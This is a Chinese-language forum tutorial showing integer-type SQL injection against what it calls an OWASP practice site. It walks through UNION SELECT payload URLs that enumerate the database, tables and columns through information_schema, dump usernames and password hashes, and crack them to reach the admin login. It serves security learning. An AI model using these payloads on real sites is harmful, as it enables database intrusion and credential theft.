SQL注入获取用户名密码过程-integer型注入 OS

admin 2019-8-16 221

这个也是OWASP放出来的一个web安全学习平台,PHP+MySQL,主要有SQL注入练习及简单绕过

地址:http://43.247.91.228:83/

1、找测试注入点

http://43.247.91.228:83/content-1/index.php?id=0

2、测试加 ' 号,页面返回错误(可能存在注入点)

3、确认是否存在注入点

http://43.247.91.228:83/content-1/index.php?id=0 and 1=1 页面返回正常

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 页面返回错误

证明存在注入点

4、查询当前表有多少列,用order by测试,切换数字,直到不出错为止,测试结果为

http://43.247.91.228:83/content-1/index.php?id=0  order by 8

5、测试哪列数据有回显(1,2,3列都可以显示)

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,2,3,4,5,6,7,8

5、查询数据库相关信息

查询当前用户权限 http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,user(),3,4,5,6,7,8

查询当前数据库版本 http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,version(),3,4,5,6,7,8

注:这里根据数据库版本可以选择应对策略

查询当前数据库名称  http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,database(),3,4,5,6,7,8

6、查询inject数据库里的表名(将表名'inject'进行ANSI编码结果为%27%69%6E%6A%65%63%74%27)测试结果表名为users


http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = %27%69%6E%6A%65%63%74%27


注:这里可以使用 limit a,1 测试有多少个表,a表示表里的第几行(这里测试只有一个users表),mysql数据库自带一个information_schema数据库,这个数据库里包含其他数据库的表名和字段名,可以根据这个查询当前数据库的表名

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,table_name,3,4,5,6,7,8 from information_schema.tables where table_schema = %27%69%6E%6A%65%63%74%27 limit 0,1 --

7、查询users表里的字段名(将表名'users'进行ANSI编码结果为%27%75%73%65%72%73%27)

users表的字段名分别为 idusers,name,email,password,ua,ref,host,lang

注:这里使用limit a,1 测试有多少个字段,变化a的值0,1,2....7,网址最后要加上注释符  --

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select 1,column_name,3 ,4,5,6,7,8 from information_schema.columns where table_name = %27%75%73%65%72%73%27 limit 0,1--

8、查询字段里的内容

在这里已经知道当前数据库是inject,有users表,表里有 idusers,name,email,password,ua,ref,host,lang 8个字段,这时可以使用,1,2,3来显示需要查看的字段内容,这里演示,name,password,host

http://43.247.91.228:83/content-1/index.php?id=0 and 1=2 union select name, password,host,4,5,6,7,8 from users limit 0,1--

注:这里使用limit a,1 测试有多少个字段,变化a的值0,1,2....直到出错为止,就可以遍历出所有用户,网址最后要加上注释符  --

这里是密码是明码的用户

这里是密码是hash值的用户,登录MD5网站解密即可

解密结果

9、到这里找寻用户名,密码已经结束,找寻后台登录即可


少客联盟- 版权声明 1、本主题所有言论和图片纯属会员个人意见,与少客联盟立场无关。
2、本站所有主题由该帖子作者发表,该帖子作者admin少客联盟享有帖子相关版权。
3、少客联盟管理员和版主有权不事先通知发贴者而删除本文。
4、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者admin少客联盟的同意。
5、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任。
6、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责。
7、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意。
8、官方反馈邮箱:chinasuc@chinasuc.cn


上一篇:X32下逆向PsSetLoadImageNotifyRoutine
下一篇:CSAW 2013 WidgetCorp撰写
Whatever is worth doing is worth doing well. juvenile hacker league
最新回复 (0)
    • 少客联盟
      2
        登录 注册 QQ登录(停用)
返回